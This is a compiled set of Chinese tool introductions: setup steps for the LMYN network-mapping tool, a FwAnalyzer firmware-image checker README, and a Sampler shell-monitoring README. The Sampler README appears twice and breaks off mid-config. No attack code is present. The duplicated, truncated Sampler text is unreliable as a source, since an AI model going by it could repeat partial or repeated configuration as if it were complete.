1. 从GitHub下载LMYN并提取所有内容。建议在Python主目录中提取例如C:\python\LMYN ($LMYN_HOME)

2. 安装python

转到python下载部分,然后单击Windows x86 MSI installer for 32-bitWindows x86-64 MSI installer for 64-bit user

使用所有默认设置安装下载的python文件

3. 从此处下载nmap并使用所有默认设置进行安装

4. 下载RabbitMQ-Server并使用所有默认设置进行安装

5. 安装Microsoft Visual Studio C++

32位用户仅安装VC setup,且所有可选产品UNCHECKED

64位用户使用默认设置安装Windows SDK和.NET Framework

6. 安装Oracle JDK 8(这是安装和运行Neo4j数据库的先决条件)

在命令提示符下运行命令java -version

如果输出包含版本详细信息,则跳至Neo4j安装,否则继续Java的安装

转到Oracle下载部分,并使用所有默认设置安装JDK 8

转到JRE的安装目录(例如C:/Program files/java/jre7/bin),并创建一个文件夹“server”,然后将“client”文件夹的所有内容复制到“server”文件夹

7. 转到Neo4j下载部分

选择“Community Server”部分并下载Windows版本

右键单击下载的文件,然后解压缩到C:\neo4j目录(具体目录根据你的实际情况而定)

使用管理员权限打开命令提示符,然后cd到提取目录,例如cd C:\neo4j

运行命令bin\neo4j console启动neo4j服务器

浏览到Neo4j Web console(http://localhost:7474),将默认密码neo4j更改为Neo4j

如有需要,请参考Neo4j安装指南

8. 使用管理权限打开命令提示符,并浏览到Python主目录,例如cd C:\python

运行命令python -m pip install –trusted-host pypi.python.org -r$LMYN/LetsMapYourNetwork/requirements.txt

9. 运行RabbitMQ Server服务,如下

从Windows的“开始”菜单中,选择“All Programs > RabbitMQ Server > Start Service启动RabbitMQ服务器。

10. 从$LMYN_HOME目录运行Celery,如下

celery -A LetsMapYourNetwork -l warning

11. 使用具有管理员权限的相同命令提示符,从Python主目录

运行命令python $LMYN_HOME\LetsMapYourNetwork\manage.py runserver 0.0.0.0:9999 –insecure

12. 在浏览器中打开http://localhost:9999/core

了解颜色和节点符号的含义

#3333ff

这是 SEED 节点

#3971ac

节点具有外部(公共)IP

#20A8D8

节点具有内部(私有)IP

#009900

节点存在于CMDB文件中并且处于活动状态

#e60000

节点存在于CMDB文件中但处于非活动状态

#a6a6a6

此时节点已关闭

#e6e6e6

节点是嵌入式路由器或VPC对等体

LMYN 应用示例

本地子网

踪路由到多个目标的网络

CMDB 上传

云网络

联系我

Email:varchashva [at] gmail [dot] com

LinkedIn:https://www.linkedin.com/in/pramod-rana-696ba062

Twitter:https://twitter.com/IAmVarchashva

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

FwAnalyzer是一个使用一组可配置规则分析(ext2/3/4),FAT/VFat,SquashFS,UBIFS文件系统镜像和目录内容的工具。FwAnalyzer依赖于e2tools用于ext文件系统,mtools用于FAT文件系统,squashfs-tools用于SquashFs文件系统,ubi_reader用于UBIFS文件系统。对ext2/3/4镜像的SELinux/xattr支持需要修补版本的e2tools

概述

FwAnalyzer旨在提供一种快速分析文件系统镜像的工具。FwAnalyzer有一个专门的配置文件,该文件定义了文件和目录的各种规则,并针对给定的文件系统镜像运行已配置的检查。FwAnalyzer的输出是一个报告,其中包含违反配置中指定的任何规则的文件列表。该报告还包含有关文件系统镜像的元信息,以及从分析的文件系统中提取的信息(如果已配置)。报告使用JSON格式,因此可以轻松的将其集成到大型的分析步骤当中。

报告示例:

{
    "fs_type": "extfs",
    "image_digest": "9d5fd9acc98421b46976f283175cc438cf549bb0607a1bca6e881d3e7f323794",
    "image_name": "test/test.img",
    "current_file_tree_path": "test/oldtree.json.new",
    "old_file_tree_path": "test/oldtree.json",
    "data": {
        "Version": "1.2.3",
        "date1 file": "Mon Oct  1 16:13:05 EDT 2018\n"
    },
    "informational": {
        "/bin": [
                "CheckFileTree: new file: 40755 1001:1001 1024 0 SeLinux label: -"
        ],
    },
    "offenders": {
        "/bin/elf_arm32": [
                "script(check_file_elf_stripped.sh) returned=elf_arm32 is not stripped"
        ],
        "/file1": [
                "File not allowed"
        ],
        "/file2": [
                "File is WorldWriteable, not allowed",
                "File Uid not allowed, Uid = 123"
        ],
    }
}

构建和开发

按照构建中描述的步骤安装所有所需项并构建FwAnalyzer。

使用 FwAnalyzer

命令行选项

cfg:string,配置文件的路径

cfgpath:string,配置文件的路径和包含的文件(可以重复)

in:string,文件系统镜像文件或目录路径

out:string,使用’-'将报告输出到文件或标准输出

tree:string,覆盖目录以从中读取filetree文件

ee:如果存在违规,则error退出

invertMatch:反转(invert )正则表达式匹配(用于测试)

示例:

fwanalyzer -cfg system_fwa.toml -in system.img -out system_check_output.json

使用存储在scripts目录中的自定义脚本的示例:

PATH=$PATH:./scripts fwanalyzer -cfg system_fwa.toml -in system.img -out system_check_output.json

devices文件夹包含用于解包和处理特定设备类型和固件包格式(如Android)的helper脚本。它还包括可以包含在特定于目标的FwAnalyzer配置中的常规配置文件。

scripts文件夹包含可从FwAnalyzer调用的helper脚本,用于文件内容分析和数据提取。

配置选项

全局配置

全局配置用于定义一些常规参数。

FsType(文件系统类型)字段选择用于访问镜像中文件的后端。FsType支持的选项有:

dirfs:从运行fwanalyzer主机上的目录中读取文件(支持的FsTypeOptions:N/A)

extfs:读取ext2/3/4文件系统镜像(支持的FsTypeOptions:selinux)

squashfs:读取SquashFS文件系统镜像(支持的FsTypeOptions:N/A)

ubifs:读取UBIFS文件系统镜像(支持的FsTypeOptions:N/A)

vfatfs:读取VFat文件系统镜像(支持的FsTypeOptions:N/A)

FsTypeOptions允许调整FsTyp驱动程序。

DigestImage选项将生成已分析的文件系统镜像的SHA-256摘要,该摘要将包含在输出中。

示例:

[GlobalConfig]
FsType        = "extfs"
FsTypeOptions = "selinux"
DigestImage   = true

输出示例:

"fs_type": "extfs",
"image_digest": "9d5fd9acc98421b46976f283175cc438cf549bb0607a1bca6e881d3e7f323794",
"image_name": "test/test.img",

Include

Include语句用于将其他FwAnalyzer配置文件包含到包含该语句的配置中。include语句可以出现在配置的任何部分。-cfgpath参数设置包含文件的搜索路径。

示例:

[Include."fw_base.toml"]

全局文件检查

GlobalFileChecks是应用于整个文件系统的更通用的检查。

Suid:bool,(可选)启用后,如果任何文件设置了粘滞位,分析将失败(默认值:false)

SuidWhiteList:string array,(可选)允许Suid检查的白名单文件(按完整路径)

WorldWrite:bool,(可选)启用后,如果任何用户都可以写入任何文件,则分析将失败(默认值:false)

SELinuxLabel:string,(可选)启用后,如果文件没有SeLinux标签,分析将失败

Uids:int array,(可选)指定系统中允许的每个UID,每个文件都需要由此列表中指定的Uid所有

Gids:int array,(可选)指定系统中允许的每个GID,每个文件都需要由此列表中指定的Gid所有

BadFiles:string array,(可选)指定不需要的文件列表,允许使用通配符,如?,* 和 **(此列表中不应存在任何文件)

BadFilesInformationalOnly:bool,(可选)BadFile检查的结果将仅为信息(默认值:false)

示例:

[GlobalFileChecks]
Suid          = true
SuidWhiteList = ["/bin/sudo"]
SELinuxLabel  = false
WorldWrite    = true
Uids          = [0,1001,1002]
Gids          = [0,1001,1002]
BadFiles      = ["/file99", "/file1", "*.h"]

输出示例:

"offenders": {
  "/bin/su": [ "File is SUID, not allowed" ],
  "/file1":  [ "File Uid not allowed, Uid = 123" ],
  "/world":  [ "File is WorldWriteable, not allowed" ],
}

File Stat Check

FileStatCheck可用于为特定文件或目录建模元数据。任何配置的变化都将被报告为违规(offender)。

AllowEmpty:bool,(可选)定义文件的大小可以为0(默认值:false)

Uid:int,(可选)指定文件的UID,不指定UID或指定-1将跳过检查

Gid:int,(可选)指定文件的GID,不指定GID或指定-1将跳过检查

Mode:string,(可选)以八进制指定UN * X文件模式/权限,不指定模式将跳过检查

SELinuxLabel:string,(可选)文件的SELinux标签(如果没有设置,将跳过检查)

LinkTarget:string,(可选)符号链接的目标,未指定链接目标将跳过检查。目前仅dirfs,squashfs和ubifs文件系统支持此功能。

Desc:string,(可选)是一个描述性字符串,如果检查失败,将附加到报告中

InformationalOnly:bool,(可选)检查结果将仅供参考(默认值:false)

示例:

[FileStatCheck."/etc/passwd"]
AllowEmpty = false
Uid        = 0
Gid        = 0
Mode       = "0644"
Desc       = "this need to be this way"

输出示例:

"offenders": {
  "/file2": [ "File State Check failed: size: 0 AllowEmpyt=false : this needs to be this way" ],
}

文件路径所有者检查

FilePathOwner检查可用于为文件系统的整个tree建模文件/目录所有权。如果给定目录中的任何文件或目录不归指定的Uid和Gid(type:int)所有,则检查失败。

示例:

[FilePathOwner."/bin"]
Uid = 0
Gid = 0

输出示例:

"offenders": {
  "/dir1/file3": [ "FilePathOwner Uid not allowed, Uid = 1002 should be = 0",
                   "FilePathOwner Gid not allowed, Gid = 1002 should be = 0" ],
}

文件内容检查

FileContent检查允许检查文件的内容。可以使用四种不同的方法检查文件的内容。通过将InformationalOnly设置为true(默认为false),可以在非强制模式下运行文件内容检查。InformationalOnly检查将产生信息元素替代违规。

示例:整个文件体上的正则表达式

File:string,文件的完整路径

RegEx:string,posix/golang正则表达式

RegExLineByLine:bool,(可选)逐行应用正则表达式,匹配行将在结果中(默认值:false)

匹配:bool,(可选)指示正则表达式匹配或是不匹配(默认值:false)

Desc:string,(可选)是一个描述性字符串,将附加到失败的检查

InformationalOnly:bool,(可选)检查结果将仅供参考(默认值:false)

示例:

[FileContent."RegExTest1"]
RegEx = ".*Ver=1337.*"
Match = true
File  = "/etc/version"

示例:通过文件体计算的SHA-256摘要

File:string,文件的完整路径

Digest:string,HEX编码摘要

Desc:string,(可选)是一个描述性字符串,将附加到失败的检查

InformationalOnly:bool,(可选)检查结果仅供参考

示例:

[FileContent."DigestTest1"]
Digest = "8b15095ed1af38d5e383af1c4eadc5ae73cab03964142eb54cb0477ccd6a8dd4"
File   = "/ver"

输出示例:

"offenders": {
  "/ver": [ "Digest (sha256) did not match found = 44c77e41961f354f515e4081b12619fdb15829660acaa5d7438c66fc3d326df3 should be = 8b15095ed1af38d5e383af1c4eadc5ae73cab03964142eb54cb0477ccd6a8dd4." ],
}

示例:运行一个外部脚本传递文件名到脚本

在执行脚本之前,将文件解压缩到具有临时名称的临时目录中。如果脚本在stdout或stderr上生成输出,则检查会产生违规。

File:string,文件或目录的完整路径

Script: string,脚本的完整路径

ScriptOptions:string array,(可选)第一个元素允许定义包含通配符的模式,如?,* 和 ** 应用于文件名(如果存在)它只会检查与模式匹配的文件,这在目录上运行脚本时非常有用。第二个元素允许传递参数到脚本。

File:string,文件的完整路径,如果路径指向目录,则为目录和子目录中的每个文件运行脚本

Desc:string,(可选)是一个描述性字符串,将附加到失败的检查

InformationalOnly:bool,(可选)检查结果将仅供参考(默认值:false)

如果–存在,则表示下一个参数来自ScriptOptions[1]。该脚本使用以下参数运行:

<tmp filename> <original filename> <uid> <gid> <mode in octal> <selinux label or "-" for no label> [--] [script options argument]

示例:

[FileContent."ScriptTest1"]
Script = "check_file_x8664.sh"
File   = "/bin"

输出示例:

"offenders": {
  "/bin/elf_arm32": [ "script(check_file_x8664.sh) returned=elf_arm32 not a x86-64 elf file" ],
}

Json 字段对比

File:string,文件的完整路径

Json:string,字段名称,使用点(.)表示法访问对象内的字段,冒号(:)分隔所需的值。所有类型都将转换为字符串并作为字符串进行比较。Json数组可以通过提供索引而不是字段名来进行索引。

Desc:string,(可选)是一个描述性字符串,将附加到失败的检查

InformationalOnly:bool,(可选)检查结果将仅供参考(默认值:false)

示例:

[FileContent."System_Arch"]
Json = "System.Arch:arm64"
File   = "/system.json"
Desc = "arch test"

输出示例:

{
  "System": {
    "Version": 7,
    "Arch": "arm32",
    "Info": "customized"
  }
}
Example Output:
```json
"offenders": {
  "/system.json": [ "Json field System.Arch = arm32 did not match = arm64, System.Arch, arch test" ],
}

File Tree Check

FileTree检查生成完整的文件系统树(每个文件和目录的列表),并将其与先前保存的文件树进行比较。该检查将生成一个信息输出,列出新文件,已删除文件和已修改文件。

CheckPath(string array)指定应包含在检查中的路径。如果未设置CheckPath,它将设置为[“/”]并将包含整个文件系统。如果CheckPath设置为[],它将生成文件树,但不会检查任何文件。

OldFileTreePath指定从旧filetree读取的文件名,如果生成了新的filetree(例如因为旧文件树不存在),则新生成的filetree文件为OldFileTreePath,并添加“.new”后缀。

OldFileTreePath是相对于配置文件的。这意味着’-cfg testdir/test.toml’与 OldTreeFilePath = “test.json将尝试读取’testdir/test.json’。-tree命令行选项可用于覆盖路径:’-cfg testdir/test.toml -tree test1′将尝试读取’test1/test.json’。类似地,新生成的filetree文件将存储在同一目录中。

文件修改检查可使用以下参数自定义:

CheckPermsOwnerChange:如果更改了所有者或权限(模式),bool,(可选)会将文件标记为已修改(默认值:false)

CheckFileSize:bool,(可选)将标记文件,因为修改后的大小已更改(默认值:false)

CheckFileDigest:bool,(可选)会在内容发生变化时将文件标记为已修改(比较它的SHA-256摘要)(默认值:false)

SkipFileDigest:bool,(可选)跳过计算文件摘要(用于处理非常大的文件,默认为:false)

示例:

[FileTreeCheck]
OldTreeFilePath       = "testtree.json"
CheckPath             = [ "/etc", "/bin" ]
CheckPermsOwnerChange = true
CheckFileSize         = true
CheckFileDigest       = false

输出示例:

"informational": {
    "/bin/bla": [ "CheckFileTree: new file: 40755 1001:1001 1024 0 SeLinux label: -" ]
}

目录内容检查

DirCheck(目录内容)检查在指定目录中指定一组允许或需要检查的文件。在该目录中找到的任何其他文件或目录都将被报告为违规。如果未找到Allowed文件,则检查将通过。如果找不到Required文件,则会将其报告为违规。

文件项可以包含通配符,如?,*和**。allowed模式已在golang文档中描述。

每个目录只能存在一个DirCheck项。

示例:

[DirContent."/home"]
Allowed = ["collin", "jon"]
Required = ["chris"]

数据提取

DataExtract选项允许从文件中提取数据并将其包含在报告中。可以通过正则表达式,运行外部脚本或读取JSON对象来提取数据。提取的数据之后可由后处理脚本使用。

数据提取功能将数据作为key:value对的映射添加到报表中。key被定义为语句的名称或可选的Name参数。该值是正则表达式或脚本输出的结果。

示例:基于正则表达式的数据提取

正则表达式生成的输出将存储为此语句名称的值,下面的示例名为“Version”。

File:string,文件的完整路径

RegEx:string,带有一个匹配字段的正则表达式

Name:string,(可选)键名

Desc:string,(可选)描述

示例:

键“Version”将包含正则表达式的输出。

[DataExtract."Version"]
File   = "/etv/versions"
RegEx  = ".*Ver=(.+)\n"
Desc   = "Ver 1337 test"

输出示例:

"data": {
  "Version": "1.2.3",
}

示例:基于脚本的数据提取

脚本生成的输出将存储为此语句名称的值,下面的示例名为LastLine。

File:string,文件的完整路径

Script:string,脚本的完整路径

Name:string,(可选)键名

Desc:string,(可选)描述

该脚本使用以下参数运行:

<tmp filename> <original filename> <uid> <gid> <mode in octal> <selinux label or "-" for no label>

示例:

键“script_test”将包含脚本的输出。该语句的名称为“scripttest”

[DataExtract.scripttest]
File   = "/etc/somefile"
Script = "extractscripttest.sh"
Name   = "script_test"

输出示例:

"data": {
  "script_test": "some data",
}

示例:JSON数据提取

脚本生成的输出将存储为此语句名称的值,下面的示例名为LastLine。

File:string,文件的完整路径

Json:string,使用点(.)表示法访问对象中字段的字段名称

Name:string,(可选)键名

Desc:string,(可选)描述

示例:

键“ROS_Info”将包含来自/etc/os_version.json下System对象的Info字段内容。

{
  "System": {
    "Version": 7,
    "Arch": "arm32",
    "Info": "customized"
  }
}
[DataExtract.OS_Info]
File   = "/etc/os_version.json"
Json   = "System.Info"
Name   = "OSinfo"

输出示例:

"data": {
  "OSinfo": "customized",
}

可以通过提供索引而不是字段名来索引Json数组。

示例:高级用法

DataExtract语句允许具有相同名称(相同键)的多个条目。这对于配置多种提取相同信息的方法非常有用。生成有效输出的第一个数据提取语句将设置给定键的值。这适用于正则表达式和脚本以及两者同时使用。

下面的示例显示了两个语句,它们都将为键“Version”创建键值对。如果“1”没有产生有效输出,则尝试下一个输出,在本例中为“2”。

示例:

[DataExtract."1"]
File  = "/etc/versions"
RegEx = ".*Ver=(.+)\n"
Name  = "Version"
[DataExtract."2"]
File  = "/etc/OSVersion"
RegEx = ".*OS Version: (.+)\n"
Name  = "Version"

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

Sampler是一个用于shell命令执行,可视化和告警的工具。其配置使用的是一个简单的YAML文件。

为什么我需要它?

你可以直接从终端对任意动态进程进行采样 – 观察数据库中的更改,监控MQ动态消息(in-flight messages),触发部署脚本并在完成后获取通知。

如果有一种方法可以使用shell命令获取指标(metric),那么可以使用Sampler立即对其进行可视化。

安装

macOS

brew cask install sampler

sudo curl -Lo /usr/local/bin/sampler https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-darwin-amd64
sudo chmod +x /usr/local/bin/sampler

Linux

sudo wget https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-linux-amd64 -O /usr/local/bin/sampler
sudo chmod +x /usr/local/bin/sampler

注意:需要为Sampler安装libasound2-dev系统库用以播放触发器声音。通常库已安装在相应位置,但如果没有 – 你可以使用你习惯的包管理器进行安装,例如apt install libasound2-dev

Windows(实验)

建议在高级控制台模拟器下使用,如Cmder

Download .exe

使用

指定shell命令,Sampler会相应的速率执行这些命令。输出用于可视化。

使用Sampler基本上的三步过程:

在YAML配置文件中定义shell命令

运行sampler -c config.yml

在UI上调整组件大小和位置

市面早已有许多监控系统

Sampler绝不是监控系统的替代品,而是易于设置的开发工具。

如果spinning up和使用Grafana配置Prometheus是完全多余的任务,那么Sampler可能是正确的解决方案。没有服务器,没有数据库,不需要部署 – 你指定了shell命令,它就可以工作了。

我监控的每台服务器上都需要安装吗?

不,你可以在本地运行Sampler,但仍然可以从多台远程计算机上收集遥测数据。任何可视化都可能具有init命令,你可以在其中ssh到远程服务器。请参阅SSH example

组件

以下是每种组件类型的配置示例列表,其中包含与macOS兼容的采样脚本。

Runchart

runcharts:
  - title: Search engine response time
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    legend:
      enabled: true     # enables item labels, default = true
      details: false    # enables item statistics: cur/min/max/dlt values, default = true
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
        color: 178      # 8-bit color number, default one is chosen from a pre-defined palette
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com
      - label: BING
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.bing.com

Sparkline

sparklines:
  - title: CPU usage
    rate-ms: 200
    scale: 0
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'
  - title: Free memory pages
    rate-ms: 200
    scale: 0
    sample: memory_pressure | grep 'Pages free' | awk '{print $3}'

Barchart

barcharts:
  - title: Local network activity
    rate-ms: 500        # sampling rate, default = 1000
    scale: 0            # number of digits after sample decimal point, default = 1
    items:
      - label: UDP bytes in
        sample: nettop -J bytes_in -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: UDP bytes out
        sample: nettop -J bytes_out -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes in
        sample: nettop -J bytes_in -l 1 -m tcp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes out
        sample: nettop -J bytes_out -l 1 -m tcp | awk '{sum += $4} END {print sum}'

Gauge

gauges:
  - title: Minute progress
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    percent-only: false # toggle display of the current value, default = false
    color: 178          # 8-bit color number, default one is chosen from a pre-defined palette
    cur:
      sample: date +%S  # sample script for current value
    max:
      sample: echo 60   # sample script for max value
    min:
      sample: echo 0    # sample script for min value
  - title: Year progress
    cur:
      sample: date +%j
    max:
      sample: echo 365
    min:
      sample: echo 0

Textbox

textboxes:
  - title: Local weather
    rate-ms: 10000      # sampling rate, default = 1000
    sample: curl wttr.in?0ATQF
    border: false       # border around the item, default = true
    color: 178          # 8-bit color number, default is white
  - title: Docker containers stats
    rate-ms: 500
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.PIDs}}"

Asciibox

asciiboxes:
  - title: UTC time
    rate-ms: 500        # sampling rate, default = 1000
    font: 3d            # font type, default = 2d
    border: false       # border around the item, default = true    
    color: 43           # 8-bit color number, default is white
    sample: env TZ=UTC date +%r

额外功能

Triggers

触发器允许执行条件操作,如视觉/声音告警或任意shell命令。以下示例说明了此概念。

Clock gauge,从开始的每分钟显示时间进度和当前时间

gauges:
  - title: MINUTE PROGRESS
    position: [[0, 18], [80, 0]]  
    cur:
      sample: date +%S
    max:
      sample: echo 60
    min:
      sample: echo 0
    triggers:
      - title: CLOCK BELL EVERY MINUTE
        condition: '[ $label == "cur" ] && [ $cur -eq 0 ] && echo 1 || echo 0'  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true    # NASA quindar tone, default = false
          visual: false  # notification with current value on top of the component area, default = false
          script: say -v samantha `date +%I:%M%p`  # an arbitrary script, which can use $cur, $prev and $label variables

搜索引擎延迟图表,在延迟超过阈值时向用户发出告警

runcharts:
  - title: SEARCH ENGINE RESPONSE TIME (sec)
    rate-ms: 200
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com     
    triggers:
      - title: Latency threshold exceeded
        condition: echo "$prev < 0.3 && $cur > 0.3" |bc -l  # expects "1" as TRUE indicator
        actions:
          terminal-bell: true  # standard terminal bell, default = false
          sound: true   # NASA quindar tone, default = false
          visual: true  # visual notification on top of the component area, default = false
          script: 'say alert: ${label} latency exceeded ${cur} second' # an arbitrary script, which can use $cur, $prev and $label variables

交互式 shell 支持

除了sample命令之外,还可以指定init命令(在采样前仅执行一次)和transform命令(后处理采样命令输出)。这包括交互式shell用例,例如仅建立与数据库的连接一次,然后在交互式shell会话中执行轮询。

Basic mode

textboxes:
  - title: MongoDB polling
    rate-ms: 500
    init: mongo --quiet --host=localhost test # executes only once to start the interactive session
    sample: Date.now();                       # executes with a required rate, in scope of the interactive session
    transform: echo result = $sample          # executes in scope of local session, $sample variable is available for transformation

PTY mode

在某些情况下,交互式shell将无法工作,因为它的stdin不是终端。这种情况下我们可以使用PTY模式:

textboxes:
  - title: Neo4j polling
    pty: true  # enables pseudo-terminal mode, default = false
    init: cypher-shell -u neo4j -p pwd --format plain
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1
  - title: Top on a remote server
    pty: true  # enables pseudo-terminal mode, default = false
    init: ssh -i ~/user.pem [email protected]
    sample: top

 init 命令逐步执行

在开始采样之前,还可以逐个执行多个init命令。

textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime

变量

如果配置文件包含重复的模式,则可以将它们提取到变量部分。此外,还可以在启动时使用-v/–variable标志指定变量,并且任意的系统环境变量也可以在脚本中使用。

variables:
    mongoconnection: mongo --quiet --host=localhost test
barcharts:
  - title: MongoDB documents by status
    items:
      - label: IN_PROGRESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'IN_PROGRESS'}).count()
      - label: SUCCESS
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'SUCCESS'}).count()
      - label: FAIL
        init: $mongoconnection
        sample: db.getCollection('events').find({status:'FAIL'}).count()

颜色主题

theme: light # default = dark
sparklines:
  - title: CPU usage
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'

真实场景

数据库

以下是不同的数据库连接示例。建议使用交互式shell(init脚本)仅建立一次连接,然后在采样期间重用即可。

MySQL

# prerequisite: installed mysql shell
variables:
  mysql_connection: mysql -u root -s --database mysql --skip-column-names
sparklines:  
  - title: MySQL (random number example)
    pty: true
    init: $mysql_connection
    sample: select rand();

PostgreSQL

# prerequisite: installed psql shell
variables:
  PGPASSWORD: pwd
  postgres_connection: psql -h localhost -U postgres --no-align --tuples-only
sparklines:
  - title: PostgreSQL (random number example)
    init: $postgres_connection
    sample: select random();

MongoDB

# prerequisite: installed mongo shell
variables:
  mongo_connection: mongo --quiet --host=localhost test
sparklines:
  - title: MongoDB (random number example)
    init: $mongo_connection
    sample: Math.random();

Neo4j

# prerequisite: installed cypher shell
variables:
  neo4j_connection: cypher-shell -u neo4j -p pwd --format plain
sparklines:
  - title: Neo4j (random number example)
    pty: true
    init: $neo4j_connection
    sample: RETURN rand();
    transform: echo "$sample" | tail -n 1

Kafka

检查kafka lag值,计算每个队列lag值的和,高于阈值报警,多consumergroup,多topic。

variables:
  kafka_connection: $KAFKA_HOME/bin/kafka-consumer-groups --bootstrap-server localhost:9092
runcharts:
  - title: Kafka lag per consumer group
    rate-ms: 5000
    scale: 0
    items:
      - label: A->B
        sample: $kafka_connection --group group_a --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: B->C
        sample: $kafka_connection --group group_b --describe | awk 'NR>1 {sum += $5} END {print sum}'
      - label: C->D
        sample: $kafka_connection --group group_c --describe | awk 'NR>1 {sum += $5} END {print sum}'

Docker

Docker容器统计信息(CPU,MEM,O/I)

textboxes:
  - title: Docker containers stats
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemPerc}}\t{{.MemUsage}}\t{{.NetIO}}\t{{.BlockIO}}\t{{.PIDs}}"

SSH

远程服务器上的TOP命令

variables:
  sshconnection: ssh -i ~/my-key-pair.pem [email protected]
textboxes:
  - title: SSH
    pty: true
    init: $sshconnection
    sample: top

JMX

Java应用程序的正常运行示例

# prerequisite: download [jmxterm jar file](https://docs.cyclopsgroup.org/jmxterm)
textboxes:
  - title: Java application uptime
    multistep-init:
      - java -jar jmxterm-1.0.0-uber.jar
      - open host:port # or local PID
      - bean java.lang:type=Runtime
    sample: get Uptime
    transform: echo $sample | tr -dc '0-9' | awk '{printf "%.1f min", $1/1000/60}'

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

Sampler是一个用于shell命令执行,可视化和告警的工具。其配置使用的是一个简单的YAML文件。

为什么我需要它?

你可以直接从终端对任意动态进程进行采样 – 观察数据库中的更改,监控MQ动态消息(in-flight messages),触发部署脚本并在完成后获取通知。

如果有一种方法可以使用shell命令获取指标(metric),那么可以使用Sampler立即对其进行可视化。

安装

macOS

brew cask install sampler

sudo curl -Lo /usr/local/bin/sampler https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-darwin-amd64
sudo chmod +x /usr/local/bin/sampler

Linux

sudo wget https://github.com/sqshq/sampler/releases/download/v1.0.3/sampler-1.0.3-linux-amd64 -O /usr/local/bin/sampler
sudo chmod +x /usr/local/bin/sampler

注意:需要为Sampler安装libasound2-dev系统库用以播放触发器声音。通常库已安装在相应位置,但如果没有 – 你可以使用你习惯的包管理器进行安装,例如apt install libasound2-dev

Windows(实验)

建议在高级控制台模拟器下使用,如Cmder

Download .exe

使用

指定shell命令,Sampler会相应的速率执行这些命令。输出用于可视化。

使用Sampler基本上的三步过程:

在YAML配置文件中定义shell命令

运行sampler -c config.yml

在UI上调整组件大小和位置

市面早已有许多监控系统

Sampler绝不是监控系统的替代品,而是易于设置的开发工具。

如果spinning up和使用Grafana配置Prometheus是完全多余的任务,那么Sampler可能是正确的解决方案。没有服务器,没有数据库,不需要部署 – 你指定了shell命令,它就可以工作了。

我监控的每台服务器上都需要安装吗?

不,你可以在本地运行Sampler,但仍然可以从多台远程计算机上收集遥测数据。任何可视化都可能具有init命令,你可以在其中ssh到远程服务器。请参阅SSH example

组件

以下是每种组件类型的配置示例列表,其中包含与macOS兼容的采样脚本。

Runchart

runcharts:
  - title: Search engine response time
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    legend:
      enabled: true     # enables item labels, default = true
      details: false    # enables item statistics: cur/min/max/dlt values, default = true
    items:
      - label: GOOGLE
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.google.com
        color: 178      # 8-bit color number, default one is chosen from a pre-defined palette
      - label: YAHOO
        sample: curl -o /dev/null -s -w '%{time_total}'  https://search.yahoo.com
      - label: BING
        sample: curl -o /dev/null -s -w '%{time_total}'  https://www.bing.com

Sparkline

sparklines:
  - title: CPU usage
    rate-ms: 200
    scale: 0
    sample: ps -A -o %cpu | awk '{s+=$1} END {print s}'
  - title: Free memory pages
    rate-ms: 200
    scale: 0
    sample: memory_pressure | grep 'Pages free' | awk '{print $3}'

Barchart

barcharts:
  - title: Local network activity
    rate-ms: 500        # sampling rate, default = 1000
    scale: 0            # number of digits after sample decimal point, default = 1
    items:
      - label: UDP bytes in
        sample: nettop -J bytes_in -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: UDP bytes out
        sample: nettop -J bytes_out -l 1 -m udp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes in
        sample: nettop -J bytes_in -l 1 -m tcp | awk '{sum += $4} END {print sum}'
      - label: TCP bytes out
        sample: nettop -J bytes_out -l 1 -m tcp | awk '{sum += $4} END {print sum}'

Gauge

gauges:
  - title: Minute progress
    rate-ms: 500        # sampling rate, default = 1000
    scale: 2            # number of digits after sample decimal point, default = 1
    percent-only: false # toggle display of the current value, default = false
    color: 178          # 8-bit color number, default one is chosen from a pre-defined palette
    cur:
      sample: date +%S  # sample script for current value
    max:
      sample: echo 60   # sample script for max value
    min:
      sample: echo 0    # sample script for min value
  - title: Year progress
    cur:
      sample: date +%j
    max:
      sample: echo 365
    min:
      sample: echo 0

Textbox

textboxes:
  - title: Local weather
    rate-ms: 10000      # sampling rate, default = 1000
    sample: curl wttr.in?0ATQF
    border: false       # border around the item, default = true
    color: 178          # 8-bit color number, default is white
  - title: Docker containers stats
    rate-ms: 500
    sample: docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.PIDs}}"

Asciibox

asciiboxes:
  - title: UTC time
    rate-ms: 500        # sampling rate, default = 1000
    font: 3d            # font type, default = 2d
